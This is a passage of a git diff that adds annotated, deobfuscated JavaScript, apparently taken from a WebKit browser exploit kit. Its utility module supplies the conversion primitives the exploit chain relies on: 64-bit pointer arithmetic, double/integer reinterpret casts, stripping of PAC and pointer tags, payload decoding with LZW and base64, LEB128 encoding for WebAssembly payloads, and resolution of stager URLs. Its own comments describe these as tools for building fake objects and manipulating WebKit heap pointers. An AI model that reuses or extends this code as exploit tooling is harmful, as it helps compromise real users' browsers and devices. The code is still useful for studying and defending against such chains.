), + r = platformState.machOParser = n.ur(); + + if ("PSNMWj" === platformState.runtime) { + t = r.ar(); + } else { + if ("RoAZdq" !== platformState.runtime) throw new Error("RoAZdq !== platformState.runtime"); + t = r.sr(); + } + platformState.machOParser = t; + } + return t; + }; + + return r; +}; \ No newline at end of file diff --git a/utility_module.js b/utility_module.js new file mode 100644 index 0000000..93613b2 --- /dev/null +++ b/utility_module.js @@ -0,0 +1,923 @@ +/** + * Utility / Type Conversion Module + * Module ID: 57620206d62079baad0e57e6d9ec93120c0f5247 + * + * This module provides low-level type conversion utilities used throughout + * the exploit chain. It handles conversions between JavaScript doubles, + * 64-bit integers, BigInts, and raw byte representations. These primitives + * are essential for constructing fake objects and manipulating pointers in + * the WebKit heap. + * + * Key capabilities: + * - Int64 class for 64-bit integer arithmetic (add, sub, and, or, xor, shift) + * - Conversion between doubles and their raw uint32 lo/hi halves + * - BigInt <-> Number <-> Double interconversion + * - Pointer tag stripping (JSC tagged pointer support) + * - UTF-16 encode/decode and string manipulation + * - Base64 decoding, LZW decompression + * - LEB128 encode/decode (for WebAssembly payloads) + * - URL resolution helpers + */ + +let m_57620206d62079baad0e57e6d9ec93120c0f5247 = () => { + let r = {}; + + // ────────────────────────────────────────────── + // BigInt polyfill wrapper + // ────────────────────────────────────────────── + + /** + * Convert a value to BigInt if the runtime supports it; otherwise return as-is. + */ + function i(t) { + return window.BigInt ? BigInt(t) : t; + } + r.U = i; + + // ────────────────────────────────────────────── + // Core constants + // ────────────────────────────────────────────── + + // Note: this is more like PAC, not pointer tag + /** Mask to strip the pointer tag from a JSC tagged pointer (low 39 bits). */ + const u = i(0x7FFFFFFFFF); // 0x7FFFFFFFFF + + /** Maximum safe value for the high 32 bits of a safe integer. */ + const o = 127; // 896953977 ^ 896953862 + + /** Number of bits to shift to reach the pointer tag in a 64-bit JSC value. */ + const s = i(39); + + r.B = s; + r.I = u; + r.v = o; + + // ────────────────────────────────────────────── + // Hex formatting + // ────────────────────────────────────────────── + + /** + * Convert a value to a hexadecimal string. Returns the string "null" for null. + */ + r.N = function toHexString(t) { + return null === t ? "null" : t.toString(16); + }; + + // ────────────────────────────────────────────── + // GC root tracking + // ────────────────────────────────────────────── + + /** Array of values to prevent garbage collection. */ + const gcRoots = []; + + /** + * Push a value into the GC roots array to prevent it from being collected. + */ + r.D = function pushGCRoot(t) { + gcRoots.push(t); + }; + + // ────────────────────────────────────────────── + // Shared typed-array views (for reinterpret casts) + // ────────────────────────────────────────────── + + const u32View = new Uint32Array(new ArrayBuffer(8)), + u8View = new Uint8Array(u32View.buffer), + u16View = new Uint16Array(u32View.buffer), + f64View = new Float64Array(u32View.buffer); + + // ────────────────────────────────────────────── + // Primitive conversion helpers + // ────────────────────────────────────────────── + + /** + * Combine a low 32-bit and high 32-bit value into a single JS number. + */ + function l(lo, hi) { + return lo + 0x100000000 * hi; + } + + /** + * Get the low 32 bits of a double (reinterpret cast). + */ + function b(t) { + return f64View[0] = t, u32View[0]; + } + + /** + * Get the high 32 bits of a double (reinterpret cast). + */ + function U(t) { + return f64View[0] = t, u32View[1]; + } + + /** + * Pack two uint32 values into a float64 (reinterpret cast). + */ + function B(t, n) { + return u32View[0] = t, u32View[1] = n, f64View[0]; + } + + /** + * Truncate a value to an unsigned 32-bit integer. + */ + r.S = function toUint32(t) { + u32View[0] = t; + return u32View[0]; + }; + + r.T = l; + + /** + * Reinterpret a double as a number (lo + hi * 2^32). + */ + r.P = function doubleToNumber(t) { + f64View[0] = t; + return l(u32View[0], u32View[1]); + }; + + r.C = b; + r.V = U; + + /** + * Extract the high 32 bits of a number by dividing by 2^32. + */ + r.F = function numberHi32(t) { + return t / 0x100000000 >>> 0; + }; + + /** + * Extract the low 32 bits of a number (unsigned right shift by 0). + */ + r._ = function numberLo32(t) { + return t >>> 0; + }; + /** + * Add a signed 32-bit offset to a double (reinterpret as Int64, add, convert back). + */ + r.q = function addOffset(t, n) { + // return Int64.fromDouble(t).addInt32(n).toDouble(); + return Int64.fromDouble(t).H(n).W(); + }; + + /** + * Add a signed 32-bit offset to a double (alias of addOffset). + */ + r.G = function (t, n) { + // return Int64.fromDouble(t).addInt32(n).toDouble(); + return Int64.fromDouble(t).H(n).W(); + }; + + /** + * Convert a JS number to a float64 by writing lo/hi into the typed-array view. + */ + r.J = function toDouble(t) { + u32View[1] = t / 0x100000000; + u32View[0] = t; + return f64View[0]; + }; + + /** + * Convert a BigInt to a JS number. + */ + r.K = function bigintToNumber(t) { + return l( + Number(t & BigInt(0xFFFFFFFF)), + Number(t >> BigInt(32)) + ); + }; + + /** + * Convert a JS number to a BigInt. + */ + r.O = function numberi(t) { + const lo = BigInt(t >>> 0); + return BigInt(t / 0x100000000 >>> 0) << BigInt(32) | lo; + }; + + /** + * Convert a double to a BigInt by reinterpreting its raw bytes. + */ + r.X = function doublei(t) { + f64View[0] = t; + const lo = BigInt(u32View[0]); + const hi = BigInt(u32View[1]); + return BigInt(hi) << BigInt(32) | lo; + }; + + r.Y = B; + + /** + * Pack four bytes (big-endian order) into a single uint32. + */ + r.Z = function packBytes(b3, b2, b1, b0) { + u8View[0] = b0; + u8View[1] = b1; + u8View[2] = b2; + u8View[3] = b3; + return u32View[0]; + }; + + /** + * Convert a number to 4 UTF-16 characters (for encoding 64-bit values as strings). + */ + r.tt = function toCharCodes(t) { + u32View[1] = t / 0x100000000; + u32View[0] = t; + return String.fromCharCode(u16View[0], u16View[1], u16View[2], u16View[3]); + }; + + /** + * Decode a base64 string into an ArrayBuffer. + */ + r.nt = function base64ToArrayBuffer(t) { + var n; + const decoded = atob(t); + const bytes = new Uint8Array(decoded.length); + for (n = 0; n < decoded.length; n++) { + bytes[n] = decoded.charCodeAt(n); + } + return bytes.buffer; + }; + + /** + * Convert a raw string (each char = one byte) into an ArrayBuffer. + */ + r.rt = function stringToArrayBuffer(t) { + var n; + const bytes = new Uint8Array(t.length); + for (n = 0; n < t.length; n++) { + bytes[n] = t.charCodeAt(n); + } + return bytes.buffer; + }; + + // ────────────────────────────────────────────── + // Int64: 64-bit integer arithmetic class + // ────────────────────────────────────────────── + + /** + * A 64-bit integer represented as two unsigned 32-bit halves (lo, hi). + * Provides basic arithmetic, bitwise operations, pointer-tag manipulation, + * and conversion to/from doubles, BigInts, and JS numbers. + */ + class Int64 { + // Wrapper for compatibility with obsfucated modules + static ut(t) {return Int64.fromNumber(t);} + static ot(t) {return Int64.fromBigInt(t);} + static st(t) {return Int64.fromUnsigned(t);} + static L(t) {return Int64.fromDouble(t);} + static ht(t) {return Int64.fromInt32(t);} + ct() {return this.toNumber();} + // ft, wt + gt() {return this.not();} + + constructor(lo, hi) { + this.it = lo >>> 0, this.et = hi >>> 0; + } + + /** Create an Int64 from a JS number (up to 2^53). */ + static fromNumber(t) { + return new Int64(t >>> 0, t / 0x100000000 >>> 0); + } + + /** Create an Int64 from a BigInt. */ + static fromBigInt(t) { + return new Int64(Number(t & BigInt(0x100000000 + (1599169875 ^ -1599169876))), Number(t >> BigInt(32))); + } + + /** Create an Int64 from an unsigned JS number. */ + static fromUnsigned(t) { + return new Int64(t >>> 0, t / 0x100000000 >>> 0); + } + + /** Create an Int64 by reinterpreting a float64's raw bits. */ + static fromDouble(t) { + return new Int64(b(t), U(t)); + } + + /** Create an Int64 from a signed 32-bit integer (sign-extends to 64 bits). */ + static fromInt32(t) { + return new Int64(t >>> 0, (t < 0 ? -1 : 0) >>> 0); + } + + /** Convert to a JS number (lo + hi * 2^32). May lose precision above 2^53. */ + toNumber() { + return 0x100000000 * this.et + this.it; + } + + /** Returns true if the sign bit (bit 63) is set. */ + ft() { + return this.et > 127; + } + + /** Check equality with a JS number. */ + wt(t) { + const n = t / 0x100000000 >>> 0, + r = t >>> 0; + return this.et === n && this.it === r; + } + + /** Bitwise NOT (~). */ + not() { + return new Int64(~this.it, ~this.et); + } + + /** 64-bit addition. */ + add(t) { + const n = this.it + t.it; + var r = this.et + t.et; + return n !== n >>> 0 && r++, new Int64(n >>> 0, r >>> 0); + } + + /** Add a signed 32-bit integer. */ + H(t) { + return this.add(Int64.fromInt32(t)); + } + + /** Check equality with another Int64. */ + lt(t) { + return this.it === t.it && this.et === t.et; + } + + /** Check inequality with another Int64. */ + bt(t) { + return this.it !== t.it || this.et !== t.et; + } + + /** 64-bit subtraction. */ + sub(t) { + return this.add(t.Ut()); + } + + /** Subtract a signed 32-bit integer. */ + Bt(t) { + return this.add(Int64.fromInt32(t).Ut()); + } + + /** Bitwise AND. */ + It(t) { + const n = this.it & t.it, + r = this.et & t.et; + return new Int64(n >>> 0, r >>> 0); + } + + /** Bitwise OR. */ + At(t) { + const n = this.it | t.it, + r = this.et | t.et; + return new Int64(n >>> 0, r >>> 0); + } + + /** Bitwise XOR. */ + vt(t) { + const n = this.it ^ t.it, + r = this.et ^ t.et; + return new Int64(n >>> 0, r >>> 0); + } + + /** Two's complement negation. */ + Ut() { + return this.gt().add(new Int64(1, 0)); + } + + /** Logical right shift by t bits (t must be < 32). */ + dt(t) { + if (t >= 32) throw new Error("t >= 32"); + return new Int64(this.it >>> t | this.et << 32 - t, this.et >>> t); + } + + toString() { + return ""; + } + + /** + * Convert to a safe JS number. Throws if the value exceeds + * o (i.e., the high 32 bits are > 127). + */ + yt() { + if (this.et > o) throw new Error("this.et > o"); + return 0x100000000 * this.et + this.it; + } + + /** Convert to a BigInt. */ + Nt() { + return BigInt(this.et) * BigInt(0x100000000) + BigInt(this.it); + } + + /** Strip the pointer tag (mask high 32 bits with o = 0x7F). */ + Dt() { + return new Int64(this.it, this.et & o); + } + + /** Return the tagged number (strip tag, then convert to number). */ + St() { + return 0x100000000 * (this.et & o) + this.it; + } + + /** Alias for stripTag() - returns a new Int64 with the tag stripped. */ + Tt() { + return new Int64(this.it, this.et & o); + } + + /** Reinterpret this Int64 as a float64 (pack lo and hi). */ + W() { + return B(this.it, this.et); + } + + /** Returns true if both halves are zero. */ + Et() { + return 0 === this.it && 0 === this.et; + } + + /** Get the low 32-bit half. */ + Pt() { + return this.it; + } + + /** + * Convert to a pointer value. Adds 0xFFF (4095) to lo, propagating + * carry, then masks with 0xFFFFF000 to page-align. + * Throws if hi > o. + */ + toPointerValue() { + if (this.et > o) throw new Error("this.et > o"); + var t = this.it + 0xFFF, + n = this.et; + return t !== t >>> 0 && n++, 0x100000000 * (n >>> 0) + ((t &= 0xFFFFF000) >>> 0); + } + };const m = Int64; + + // ────────────────────────────────────────────── + // String encoding / decoding helpers + // ────────────────────────────────────────────── + + /** + * Expand each character of a string into two bytes (UTF-16 LE byte pairs). + * Each character code is split into (code & 0xFF) and (code >> 8). + */ + function utf16Encode(t) { + const result = []; + var n; + for (n = 0; n < t.length; n++) { + const code = t.charCodeAt(n); + result.push(255 & code); // low byte + result.push(code >>> 8); // high byte + } + return String.fromCharCode.apply(null, result); + } + + /** + * Decode a UTF-16 LE byte-pair string back to normal characters. + * Every two bytes are combined into one character. + */ + function utf16Decode(t) { + var lo,hi,i,result = ""; + const len = t.length; + for (i = 0; i < len; i += 2) { + lo = t.charCodeAt(i); + hi = i + 1 < len ? t.charCodeAt(i + 1) : 0; + result += String.fromCharCode(lo | hi << 8); + } + return result; + } + + /** + * Decode a raw string: expand via utf16Encode, then truncate at the first NUL. + */ + function decodeString(t) { + var n = utf16Encode(t); + const r = n.indexOf("\0"); + return -1 !== r && (n = n.slice(0, r)), n; + } + + /** + * Convert a byte value to a two-character lowercase hex string. + */ + function byteToHex(t) { + var n = t.toString(16).toLowerCase(); + return 1 === n.length && (n = "0" + n), n; + } + + /** + * Convert a 32-bit integer to a 4-byte unicode escape sequence string. + * Used to produce raw binary strings from 32-bit values. + * + * Layout: the 32-bit value is split into 4 bytes and encoded as two + * %uHHHH escape pairs. + */ + function intToUnicodeEscape(t) { + var result; + const byte0 = 255 & t; // bits 0-7 + const byte3 = (0xFF000000 & t) >> 24 & 255; // bits 24-31 + const byte2 = (0xFF0000 & t) >> 16 & 255; // bits 16-23 + result = "%u"; + result += byteToHex((0xFF00 & t) >> 8 & 255); // bits 8-15 + result += byteToHex(byte0); + result += "%u"; + result += byteToHex(byte3); + result += byteToHex(byte2); + return unescape(result); + } + + /** + * Convert a float64 to a pair of uint32 values [hi, lo] (big-endian order). + */ + function doubleToUint32Pair(t) { + const buf = new Uint8Array(16); + const view = new DataView(buf.buffer, 0, 8); + const pair = new Array(2); + view.setFloat64(0, t); + pair[0] = view.getUint32(0, false); // big-endian hi + pair[1] = view.getUint32(4, false); // big-endian lo + return pair; + } + + /** + * Resolve a potentially relative URL to an absolute URL. + * If the string does not start with "http://" or "https://", it is + * resolved relative to the current page's location. + */ + function resolveUrl(t) { + var url = decodeString(t); + // Test if the URL already has an http(s) scheme + if (null === RegExp("^https?://").exec(url)) { + const host = location.host; + const protocol = location.protocol; + if ("/" === url.charAt(0)) { + // Absolute path + url = protocol + "//" + host + url; + } else { + // Relative path + if ("." === url.charAt(0) && "/" === url.charAt(1)) { + url = url.substring(2); + } + const pathname = location.pathname; + const lastSlash = pathname.lastIndexOf("/"); + url = protocol + "//" + host + pathname.slice(0, lastSlash + 1) + url; + } + } + window.log("resolveUrl => " + url); + return url; + } + + // ────────────────────────────────────────────── + // Export standalone functions + // ────────────────────────────────────────────── + + r.Vt = r.Int64 = Int64; + r.Ft = r.utf16Encode = utf16Encode; + r._t = r.utf16Decode = utf16Decode; + r.qt = r.decodeString = decodeString; + r.xt = r.byteToHex = byteToHex; + r.Wt = r.intToUnicodeEscape = intToUnicodeEscape; + + /** + * Read an unsigned 16-bit value from a string at byte offset n. + * The string is treated as packed 16-bit values: each character holds + * a 16-bit code unit. n is a byte offset (divided by 2 for char index). + */ + r.Ht = r.readU16FromString = function readU16FromString(t, n) { + n /= 2; + return 0x10000 * t.charCodeAt(n + 1) + t.charCodeAt(n); // 893998450 ^ 893932914 = 65536 + }; + + /** + * Convert two uint32 values to a float64 (via DataView, big-endian). + * @param {number} lo - low 32 bits (written at offset 4) + * @param {number} hi - high 32 bits (written at offset 0) + */ + r.Lt = r.u32PairToDouble = function u32PairToDouble(lo, hi) { + const view = new DataView(new ArrayBuffer(8), 0, 8); + view.setUint32(0, hi); + view.setUint32(4, lo); + return view.getFloat64(0); + }; + + /** + * Safely pack two uint32 values into a float64, with NaN-boxing validation. + * Throws if the resulting high bits indicate a NaN (0xFFF00000 mask). + */ + r.Mt = function safePackDouble(lo, hi) { + const f64 = new Float64Array(1); + const u32 = new Uint32Array(f64.buffer); + const check = new Uint32Array(1); + u32[0] = lo >>> 0; + u32[1] = hi >>> 0; + check[0] = 0xFFF00000 & u32[1]; // 878211651 ^ -878153149 + if (0xFFF00000 === check[0]) throw new Error(0); // 929592947 ^ -929532301 + return f64[0]; + }; + + /** + * Convert a float64 to a Uint8Array (8 bytes). + */ + r.Rt = function doubleToBytes(t) { + const buf = new Uint8Array(16); + new DataView(buf.buffer, 0, 8).setFloat64(0, t); + return buf; + }; + + r.jt = r.doubleToUint32Pair = doubleToUint32Pair; + + + /** + * Convert a double to a StagerAddress (from the uint32 pair). + * Returns null if the pair has fewer than 2 elements. + */ + r.kt = r.doubleToStagerAddress = function doubleToStagerAddress(t) { + const pair = doubleToUint32Pair(t); + let result = null; + if (pair.length >= 2) { + result = new StagerAddress(pair[1], pair[0]); + } + return result; + }; + + /** + * Write a uint32 value into a byte array at offset n (little-endian). + * Returns the new offset (n + 4). + */ + r.zt = function writeU32ToArray(arr, n, value) { + const v = value >>> 0; + arr[n] = 255 & v; // byte 0 + arr[n + 1] = v >> 8 & 255; // byte 1 + arr[n + 2] = v >> 16 & 255; // byte 2 + arr[n + 3] = v >> 24 & 255; // byte 3 + return n + 4; + }; + + /** + * Read a uint32 from a byte array at offset n (little-endian). + */ + r.Gt = function readU32FromArray(arr, n) { + return (arr[n] | arr[n + 1] << 8 | arr[n + 2] << 16 | arr[n + 3] << 24) >>> 0; + }; + + /** + * Decode a base64 string to a UTF-16 string. + * The base64-decoded bytes are treated as UTF-16 LE pairs. + */ + r.Jt = r.base64DecodeUtf16 = function base64DecodeUtf16(t) { + var n,code,i,result = ""; + const decoded = globalThis.atob(t); + const len = decoded.length; + // Pad with a NUL 4-byte unicode escape to ensure even length + n = decoded + intToUnicodeEscape(0); + for (i = 0; i < len; i += 2) { + code = n.charCodeAt(i); + code |= n.charCodeAt(i + 1) << 8; + code >>>= 0; + result += String.fromCharCode(code); + } + return result; + }; + + /** + * LZW decompression. + * Decompresses a string that was compressed with LZW encoding. + * Handles the surrogate gap: when the dictionary index reaches 0xD800 (55296), + * it jumps to 0xE000 (57344) to avoid the Unicode surrogate range. + */ + r.Kt = r.lzwDecompress = function lzwDecompress(t) { + const dict = new Map(); + var prev,entry,code,nextCode, + result = "", + dictSize = 256; // 1967607135 ^ 1967606879 + + // Initialize dictionary with single-byte entries (0..255) + for (prev = 0; prev < 256; prev += 1) {// 1984197735 ^ 1984197991 + dict.set(prev, String.fromCodePoint(prev)); + } + + [...t].forEach(function (ch, idx) { + if (0 === idx) { + // First character: output directly + prev = String.fromCodePoint(ch.codePointAt(0)); + entry = prev; + } else { + code = ch.codePointAt(0); + if (dict.has(code)) { + nextCode = dict.get(code); + } else { + if (code !== dictSize) throw new Error(0); + nextCode = prev + String.fromCodePoint(prev.codePointAt(0)); + } + entry += nextCode; + dict.set(dictSize++, prev + String.fromCodePoint(nextCode.codePointAt(0))); + // Skip the Unicode surrogate range (0xD800..0xDFFF) + if (55296 === dictSize) {// 879182932 ^ 879205460 = 0xD800 + dictSize = 57344; // 1886736973 ^ 1886761549 = 0xE000 + } + prev = nextCode; + } + }); + + return utf16Decode(entry); + }; + + r.Ot = r.resolveUrl = resolveUrl; + + /** + * Resolve a URL and pad it with NUL characters to a 4-byte boundary, + * then decode via utf16Decode. + */ + r.Qt = r.resolveUrlPadded = function resolveUrlPadded(t) { + var n = resolveUrl(t); + for (n += "\0"; n.length % 4 != 0;) n += "\0"; + return utf16Decode(n); + }; + + /** + * Encode a 64-bit Int64 value as unsigned LEB128 into a byte array. + * @param {Array} arr - destination byte array + * @param {number} n - starting offset + * @param {Int64} value - the value to encode + */ + r.Xt = r.encodeLEB128 = function encodeLEB128(arr, n, value) { + var byte; + for (;;) { + byte = value.lo % 128; // 1466329413 ^ 1466329541 + value = value.sub(Int64.fromInt32(byte)); + if (0 === value.hi && 0 === value.lo) { + + // Last byte: no continuation bit + } else {byte |= 128; // 1416853561 ^ 1416853689 (continuation) + } + arr[n++] = byte; + value = value.rshift(7); + if (!(128 & byte)) break; // 1110466900 ^ 1110467028 + } + }; + + /** + * Decode an unsigned LEB128 value from a byte array. + * @param {Array} arr - source byte array + * @param {number} n - starting offset + * @returns {{ Zt: number, $t: number }} decoded value and number of bytes consumed + */ + r.Yt = function decodeLEB128(arr, n) { + var result = 0, + shift = 0; + const startOffset = n; + do { + result += (127 & arr[n]) << shift; // 1447114358 ^ 1447114249 + shift += 7; + } while (128 & arr[n++]); // 1466525748 ^ 1466525876 + return { + Zt: result, + $t: n - startOffset + }; + }; + + /** + * Throw a generic error (used as an unreachable / abort marker). + */ + r.tn = function throwError() { + throw new Error("throwError"); + }; + + // ────────────────────────────────────────────── + // Pointer tag helper + // ────────────────────────────────────────────── + + /** + * Strip the pointer tag from a BigInt pointer value by masking with u. + */ + function stripPointerTag(t) { + //window.log("strip " + t.toString(16)); + return t & u; + } + + // ────────────────────────────────────────────── + // TypeHelper class + // ────────────────────────────────────────────── + + /** + * Helper class that wraps a DataView for performing type-punning conversions + * between various numeric types (int16, uint16, uint32, float32, float64, + * bigint64) via an internal 16-byte buffer. + */ + r.nn = class TypeHelper { + constructor() { + this.buffer = new ArrayBuffer(16), this.view = new DataView(this.buffer); + } + + /** Convert a value to a signed 16-bit integer. */ + un(t) { + this.view.setInt16(0, t, true); + return this.view.getInt16(0, true); + } + + /** Convert a value to an unsigned 16-bit integer. */ + on(t) { + this.view.setUint16(0, t, true); + return this.view.getUint16(0, true); + } + + /** Convert any value (number or bigint) to uint32. */ + sn(t) { + if ("bigint" == typeof t) { + this.view.setBigUint64(0, t, true); + } else { + this.view.setUint32(0, t, true); + } + return this.view.getUint32(0, true); + } + + /** Set a double, replace its low 32 bits, read back as double. */ + hn(t, n) { + this.view.setFloat64(0, t, true); + this.view.setUint32(0, n, true); + return this.view.getFloat64(0, true); + } + + /** Set a double, replace its high 32 bits, read back as double. */ + cn(t, n) { + this.view.setFloat64(0, t, true); + this.view.setUint32(4, n, true); + return this.view.getFloat64(0, true); + } + + /** Read a BigUint64 from 4 UTF-16 characters (8 bytes). */ + fn(t) { + for (let n = 0; n < 4; n++) { + let code = t.charCodeAt(n); + if (Number.isNaN(code)) throw new Error("Number.isNaN(code)"); + this.view.setUint16(2 * n, code, true); + } + return this.view.getBigUint64(0, true); + } + + /** Convert a float32 to its uint32 bit representation. */ + an(t) { + this.view.setFloat32(0, t, true); + return this.view.getUint32(0, true); + } + + /** Convert a BigInt (uint64) to a float64. */ + wn(t) { + this.view.setBigUint64(0, t, true); + return this.view.getFloat64(0, true); + } + + /** Set a BigUint64, replace byte 0 with n, read back as BigUint64. */ + gn(t, n) { + this.view.setBigUint64(0, t, true); + this.view.setUint8(0, Number(n)); + return this.view.getBigUint64(0, true); + } + + /** Set a BigUint64, replace low uint32 with n, read back as BigUint64. */ + ln(t, n) { + this.view.setBigUint64(0, t, true); + this.view.setUint32(0, Number(n), true); + return this.view.getBigUint64(0, true); + } + + /** Set a uint32, replace byte 0 with n, read back as uint32. */ + bn(t, n) { + this.view.setUint32(0, t, true); + this.view.setUint8(0, Number(n)); + return this.view.getUint32(0, true); + } + + /** Set a uint32, then overwrite it entirely with n, read back. */ + Un(t, n) { + this.view.setUint32(0, t, true); + this.view.setUint32(0, Number(n), true); + return this.view.getUint32(0, true); + } + + /** Convert a JS number to a BigUint64 by splitting into lo/hi uint32. */ + Bn(t) { + this.view.setUint32(0, Number(t >>> 0), true); + this.view.setUint32(4, Number(t / 0x100000000), true); + return this.view.getBigUint64(0, true); + } + + /** Set a BigUint64, replace low uint32, read back as BigUint64. */ + mn(t, n) { + this.view.setBigUint64(0, t, true); + this.view.setUint32(0, Number(n), true); + return this.view.getBigUint64(0, true); + } + + /** Identity: write a BigUint64 and read it back (normalization). */ + In(t) { + this.view.setBigUint64(0, t, true); + return this.view.getBigUint64(0, true); + } + }; + + r.An = stripPointerTag; + + /** + * Check whether a value has a pointer tag (i.e., stripping the tag changes it). + */ + r.vn = function (t) { + return stripPointerTag(t) !== t; + }; + + return r; +}; \ No newline at end of file